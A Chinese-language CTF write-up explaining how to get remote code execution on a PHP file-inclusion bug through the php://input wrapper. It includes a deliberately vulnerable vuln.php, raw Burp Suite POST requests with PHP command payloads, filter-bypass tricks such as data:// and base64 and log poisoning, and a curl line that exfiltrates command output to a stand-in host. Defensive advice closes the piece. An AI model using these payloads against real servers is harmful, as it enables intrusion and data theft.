1. 项目概述一次典型的Web安全实战演练最近在CTFHub上刷Web题遇到一个挺有意思的关卡核心是考察如何利用php://input这个伪协议来绕过某些RCE远程代码执行的限制。题目本身模拟了一个常见的Web应用场景存在一个可以执行代码的入口但开发者通过一些过滤手段试图阻止我们直接传入恶意代码。这种场景在实际的渗透测试和漏洞挖掘中非常典型比如在一些CMS的后台插件管理、模板编辑或者某些API接口的参数处理中都可能遇到类似的限制。这个挑战的价值在于它不仅仅是一个CTF题目更是一个理解PHP流包装器Stream Wrappers和代码执行漏洞利用技巧的绝佳案例。通过它我们可以深入理解为什么php://input能成为一把“钥匙”以及如何配合Burpsuite这样的专业工具将理论上的漏洞转化为实际的攻击链。无论你是刚入门Web安全的新手还是想巩固一下PHP相关漏洞知识的老手这个实战过程都能带来不少启发。接下来我就把整个解题思路、操作步骤以及过程中踩过的坑和总结的经验毫无保留地分享出来。2. 核心原理为什么php://input能绕过限制要理解这个挑战首先得弄清楚两个核心概念RCE漏洞的本质以及php://input这个伪协议的特殊性。2.1 RCE漏洞与常见限制手段RCE即远程代码执行是Web安全中危害性最高的漏洞之一。简单来说就是攻击者能够通过Web应用在服务器上执行任意操作系统命令或PHP代码。一个典型的漏洞代码可能长这样?php $cmd $_GET[command]; system($cmd); ?如果这段代码存在攻击者传入?commandid服务器就会执行id命令并返回结果。开发者当然不会这么蠢他们会施加各种限制黑名单过滤直接过滤掉system、exec、passthru、eval、反引号等危险函数名。关键字过滤过滤cat、flag、ls、/、空格等命令中常见的字符串。输入长度限制限制GET或POST参数的长度让你无法传入复杂的Payload。编码检查检查输入中是否包含URL编码、Base64编码等并尝试解码后二次过滤。协议/流包装器禁用在php.ini中通过allow_url_include或allow_url_fopen进行控制但题目环境往往为了考察会特意开启。题目中的限制很可能就是上述几种方式的组合。我们的目标就是找到一种方式能够“穿透”这些过滤将我们的Payload送达PHP解释器。2.2 php://input伪协议的魔力php://input是PHP提供的一个只读流read-only stream它可以访问请求的原始数据raw data。这与我们常用的$_POST、$_GET或$_REQUEST有本质区别。$_POST只能获取到application/x-www-form-urlencoded或multipart/form-data编码格式下表单字段的键值对。php://input获取的是HTTP请求体Body的原始内容无论是什么编码。而且它在enctype”multipart/form-data”时是不可用的但这在CTF中通常不是问题。它的核心利用点在于当PHP代码使用file_get_contents()、include()、require()等文件操作函数去读取php://input时它读取的内容就是我们HTTP请求Body里直接写的字符串。如果这个读取操作发生在某个可能存在代码执行的上下文中比如被include的文件内容会被当作PHP代码执行那么我们在Body里写入的PHP代码就会被执行。举个例子假设存在这样脆弱的代码?php $file $_GET[file]; include($file); ?正常情况下我们可能用?file../../etc/passwd去进行文件包含。但如果服务器开启了allow_url_include我们就可以传入?filephp://input然后在HTTP请求的Body中直接写入?php system(ls);?。服务器端的include函数会去读取php://input流也就是我们的Body内容并将其作为PHP代码执行从而实现了RCE。为什么能绕过限制数据通道分离很多过滤逻辑只作用于$_GET、$_POST等超全局变量。当攻击载荷通过php://input传递时它绕过了这些常规的变量接收点直接以原始数据流的形式被读取可能避开了针对参数名的过滤或检查。数据形态原始我们的Payload是直接写在Body里的纯文本没有经过URL编码或表单编码避免了因编码问题被识别和过滤。配合文件包含这是最常见的利用场景。将php://input作为文件名参数传入把代码执行问题转化为文件包含问题而文件包含的过滤规则可能与直接执行代码的过滤规则不同从而找到突破口。3. 实战环境搭建与工具准备在深入解题之前确保你有一个可以实操的环境。虽然CTFHub提供了在线靶场但在本地复现能让你更自由地测试和调试。3.1 靶场环境复现为了彻底理解漏洞我建议在本地用Docker快速搭建一个模拟环境。这里提供一个最简单的漏洞代码vuln.php?php // 模拟一个存在过滤的RCE点 error_reporting(0); $code $_GET[code]; // 第一层过滤黑名单过滤危险函数 $blacklist [system, exec, shell_exec, passthru, proc_open, ]; foreach ($blacklist as $bad) { if (stripos($code, $bad) ! false) { die(Hacker! Dangerous function detected.); } } // 第二层过滤过滤某些关键字 $keywords [cat, flag, ls, /, , ]; foreach ($keywords as $kw) { if (stripos($code, $kw) ! false) { die(Hacker! Suspicious keyword detected.); } } // 第三层尝试执行代码 (这里是漏洞点但被过滤了) // eval($code); // 这行被注释模拟直接eval被阻止 // 第四层存在一个文件包含点但开发者以为它安全 $file $_GET[file]; if(isset($file)) { // 开发者可能认为包含的是静态文件 include($file); } ?这个代码模拟了多层过滤直接eval危险函数和关键字都会被拦截。但最后留下了一个file参数用于文件包含。我们的目标就是利用这个file参数结合php://input来执行代码。用Docker运行docker run -d -p 8080:80 -v $(pwd):/var/www/html --name ctf_php php:7.4-apache将vuln.php放到当前目录访问http://localhost:8080/vuln.php即可。3.2 核心工具Burpsuite配置与使用要点Burpsuite是Web安全测试的“瑞士军刀”在这个挑战中至关重要主要用于拦截和修改HTTP请求。代理设置确保你的浏览器以Firefox为例网络设置中配置了HTTP代理地址为127.0.0.1端口为8080Burpsuite默认监听端口。在Burpsuite的Proxy-Options中确认代理监听器是开启的。拦截请求打开Proxy-Intercept点击Intercept is on。然后在浏览器中访问靶场地址Burpsuite会截获这个GET请求。修改与重放这是我们主要的操作界面。可以修改任何参数、请求头、请求体然后点击Forward发送或者点击Intruder进行爆破等高级操作。注意使用php://input时请求方法通常需要从GET改为POST。因为GET请求没有请求体Bodyphp://input读取不到内容。这是新手最容易忽略的一点。4. 挑战解题步骤详解假设CTFHub的题目场景与我们的模拟环境类似有一个页面存在某个参数比如file或action可以导致文件包含并且服务器配置允许php://伪协议。我们的目标是读取服务器上的一个名为flag的文件。4.1 第一步信息收集与漏洞探测首先正常访问题目给出的URL。查看页面源代码、网络请求寻找任何可疑的参数。比如可能会发现一个链接像?pageabout.php或者表单提交到?actionview。使用Burpsuite拦截所有请求观察参数。尝试经典的测试Payload文件包含测试?file../../../../etc/passwd(Linux) 或?fileC:\windows\win.ini(Windows)。看是否有报错或内容回显。PHP伪协议测试?filephp://filter/convert.base64-encode/resourceindex.php。这个Payload会尝试以Base64编码的形式读取index.php的源代码常用于源码审计。如果成功说明php://协议可用且可能存在文件包含漏洞。在我们的模拟环境中直接访问http://localhost:8080/vuln.php?filephp://filter/convert.base64-encode/resourcevuln.php如果返回了一串Base64编码解码后就是vuln.php的源码这证实了文件包含和php://协议可用。4.2 第二步构造php://input的Payload确认了文件包含漏洞和php://协议可用后就可以尝试php://input了。在Burpsuite中拦截一个对vuln.php的请求。将请求方法从GET改为POST。这是关键一步在Burpsuite的Raw视图里直接把开头的GET改成POST。添加或修改参数。假设漏洞参数是file那么在请求行中保持GET的参数形式或者将参数移到Body里但为了简单我们通常保持URL参数不变。请求行类似POST /vuln.php?filephp://input HTTP/1.1。编写请求体Body。在Burpsuite下方找到请求体编辑区通常Raw视图下空几行后就是。这里就是我们注入PHP代码的地方。例如我们想执行system(‘ls’)但题目过滤了system和ls。我们需要绕过。思路1使用未过滤的函数。passthru、exec被过滤了但shell_exec可能也被过滤。试试popen()或反引号但反引号通常也被过滤。我们可以用PHP的scandir()函数来列目录它不属于命令执行函数可能未被过滤?php print_r(scandir(.)); ?思路2字符串拼接与编码。如果过滤了cat和flag我们可以用c”“at用双引号分割、c.at用点连接、或者用Base64编码命令再解码执行。例如?php system(base64_decode(Y2F0IC9mbGFn)); ?其中Y2F0IC9mbGFn是cat /flag的Base64编码。但注意system和base64_decode也可能被过滤。思路3利用php://filter嵌套。这是一个更高级的技巧。如果include直接执行php://input的代码被某种方式限制了可以尝试?filephp://filter/convert.base64-decode/resourcephp://input。然后在Body里放入Base64编码后的PHP代码。include会先对php://input的内容进行Base64解码然后再将其作为PHP代码执行。这可以绕过一些针对原始PHP标签?php的检查。对于本次挑战我们先尝试最简单的在Body里写入?php system(ls);?。发送请求。点击Forward观察响应。4.3 第三步Burpsuite实战操作与截图分析让我们一步步在Burpsuite中操作。(1) 初始拦截的GET请求GET /vuln.php?codetestfiletest.txt HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0... ...这里有两个参数code和file。根据我们分析的源码code参数有严格过滤file参数存在文件包含。(2) 修改为POST并利用php://input在Raw标签页中直接修改POST /vuln.php?filephp://input HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0... Content-Type: application/x-www-form-urlencoded Content-Length: 24 ?php system(ls);?注意方法改为POST。file参数的值设为php://input。添加了Content-Type和Content-Length头。Content-Type不是multipart/form-data即可application/x-www-form-urlencoded或留空都行但最好加上。在头部结束后空一行写入我们的PHP代码作为Body。(3) 查看响应如果漏洞存在且配置正确响应体中应该会显示当前目录的文件列表。在实际CTFHub挑战中可能会看到flag.php、index.php等文件。(4) 读取flag文件看到文件列表后我们需要读取flag。假设存在flag.php。我们修改BodyPOST /vuln.php?filephp://input HTTP/1.1 Host: challenge.ctfhub.com ... Content-Length: 32 ?php system(cat flag.php);?但题目可能过滤了cat和flag。我们需要绕过。(5) 绕过过滤的Payload构造方法A使用tac、more、less、nl等替代cat。tac是反向输出同样有效。Body改为?php system(tac flag.php);?方法B使用通配符。如果文件名已知是flag.php但flag被过滤可以尝试fla*.php或fl?g.php。Body改为?php system(cat fla*.php);?方法C内部文件函数。如果不允许命令执行但可以执行PHP代码用file_get_contents()或highlight_file()。Body改为?php echo file_get_contents(flag.php); ?或?php highlight_file(flag.php); ?。后者会以PHP语法高亮形式显示源码flag可能就在注释或字符串里。方法DBase64编码输出。如果flag包含特殊字符导致显示不全可以Base64编码后输出。Body改为?php echo base64_encode(file_get_contents(flag.php)); ?在实战中需要根据回显信息不断调整Payload。Burpsuite的Repeater模块非常适合这种调试。将拦截到的请求右键发送到Repeater就可以反复修改Body并发送无需每次都拦截。5. 高级绕过技巧与变形利用掌握了基础方法后我们来看看一些更复杂场景下的绕过技巧。5.1 当php://input被过滤时有些题目会直接检测参数值中是否包含php://input字符串。我们可以尝试大小写绕过PHP://INPUT、PhP://InPuT。PHP的流包装器标识符通常是大小写不敏感的。字符串拼接php://.input。在代码中如果是直接字符串比较可能不行但如果参数经过一些处理如str_replace过滤掉php://后再使用可能有机会。利用其他伪协议如果php://input不行可以试试data://协议。例如?filedata://text/plain,?php system(ls);?或?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8后面是Base64编码的?php system(ls);?。但这需要allow_url_include设置为On。5.2 当include被限制时有时题目不是简单的include($file)可能是readfile()、file_get_contents()等。这些函数不会执行PHP代码只会输出内容。对于file_get_contents()读取php://input我们得到的是我们发送的源代码文本本身而不是执行结果。这时就需要结合其他漏洞比如日志文件注入如果能包含Web服务器的访问日志如/var/log/apache2/access.log我们可以将PHP代码作为User-Agent的一部分发送然后包含该日志文件来执行代码。这通常需要知道日志路径且有读取权限。Session文件注入如果能够控制Session内容PHPSESSID和对应的Session文件内容也可以实现类似效果。但条件更苛刻。5.3 无回显RCE的利用如果命令执行了但没有输出盲注我们需要通过其他方式获取结果DNS外带使用nslookup或curl命令将命令执行结果作为子域名发送到我们控制的DNS服务器。例如?php system(curl http://your-server.com/whoami);?。在你的服务器查看访问日志就能看到whoami的结果。HTTP请求外带类似DNS外带直接用curl或wget将结果作为URL参数或POST数据发送到你的服务器。时间盲注使用sleep命令。?php system(ping -c 5 127.0.0.1);?如果页面响应延迟了5秒说明命令执行成功。6. 防御措施与安全开发建议从防御者角度如何避免此类漏洞彻底杜绝不必要的动态文件包含这是治本之策。如果业务确实不需要就不要使用include、require包含来自用户输入的变量。如果需要包含模板文件应使用白名单机制。$allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(404.php); }安全配置PHP在生产环境中务必在php.ini中设置allow_url_fopen Off allow_url_include Off这将彻底禁用php://、http://、ftp://等远程文件包含功能极大增加利用难度。严格的输入过滤与验证对用户输入进行严格的类型、长度、格式检查。对于文件路径应限定字符集如仅字母数字并检查是否包含目录遍历符..、/、\。使用安全的文件操作函数如果必须动态包含使用basename()函数去除路径或者使用realpath()检查最终路径是否在允许的目录内。最小权限原则Web服务器进程如www-data用户应以最低必要权限运行避免其能够读取敏感系统文件或写入Web目录。7. 常见问题与排查技巧实录在实际操作中你肯定会遇到各种问题。这里记录了几个我踩过的坑和解决方法问题1发送POST请求后服务器返回“No input file specified”或直接空白页。原因这通常意味着php://input没有被正确解析或者包含的路径不对。可能的原因有allow_url_include未开启。这在CTF靶场中较少见但在自己搭建的环境或某些严格配置中会出现。file参数对应的代码不是include或require可能是file_get_contents()它读取php://input只会返回源代码字符串不会执行。PHP版本问题或者代码中有其他逻辑提前终止了执行。排查先用php://filter/convert.base64-encode/resource包含一个已知存在的文件如index.php确认文件包含漏洞和伪协议是否真的可用。检查请求方法是否为POSTContent-Type是否正确不能是multipart/form-data。在Body中写入简单的?php phpinfo();?测试看是否能执行。如果phpinfo能执行说明环境是通的问题出在后续的命令上。问题2命令执行了但看不到回显。原因可能是命令执行函数的输出被禁用如system()被禁用但passthru()可用或者输出被重定向了。排查尝试不同的命令执行函数system()、passthru()、exec()、shell_exec()、反引号。尝试将输出写入一个Web目录下的文件?php system(ls /tmp/out.txt);?然后通过其他漏洞如文件包含去读取/tmp/out.txt。使用var_dump()或print_r()来输出shell_exec()的结果因为shell_exec()返回字符串需要打印。问题3Burpsuite发送的请求在浏览器中看不到预期变化。原因浏览器的同源策略、缓存或者Burpsuite的拦截/转发设置有问题。排查确保Burpsuite的Intercept是Forward状态或者直接在Repeater中操作避免请求被卡住。在Repeater中操作时注意查看原始的HTTP响应而不是浏览器渲染的页面。响应可能就在Raw标签页里。清除浏览器缓存或使用Burpsuite自带的浏览器在Proxy-Intercept标签页点击Open Browser避免缓存干扰。问题4Payload明明在本地测试成功但在CTFHub靶场不行。原因靶场环境可能有额外的、未知的限制或过滤规则。排查信息收集用phpinfo()查看靶场的PHP配置确认allow_url_include和allow_url_fopen的状态以及禁用的函数列表disable_functions。模糊测试使用一个简单的Payload?php echo test;?确认最基本的代码执行是否可行。逐步复杂化从最简单的echo到scandir(.)再到system(pwd)一步步测试哪些函数或关键字被过滤。查看错误信息在Payload开头加上error_reporting(E_ALL); ini_set(display_errors, 1);开启错误显示可能获得有价值的报错信息。这个通过php://input绕过RCE限制的挑战本质上是对PHP特性、漏洞利用链和工具使用的一次综合考验。它提醒我们在安全开发中任何一点疏忽比如一个未经验证的文件包含参数在特定条件下如allow_url_include开启都可能被组合利用形成严重的漏洞。而对于安全研究者来说掌握这些基础的协议、绕过技巧和工具链是进行更深入探索的必经之路。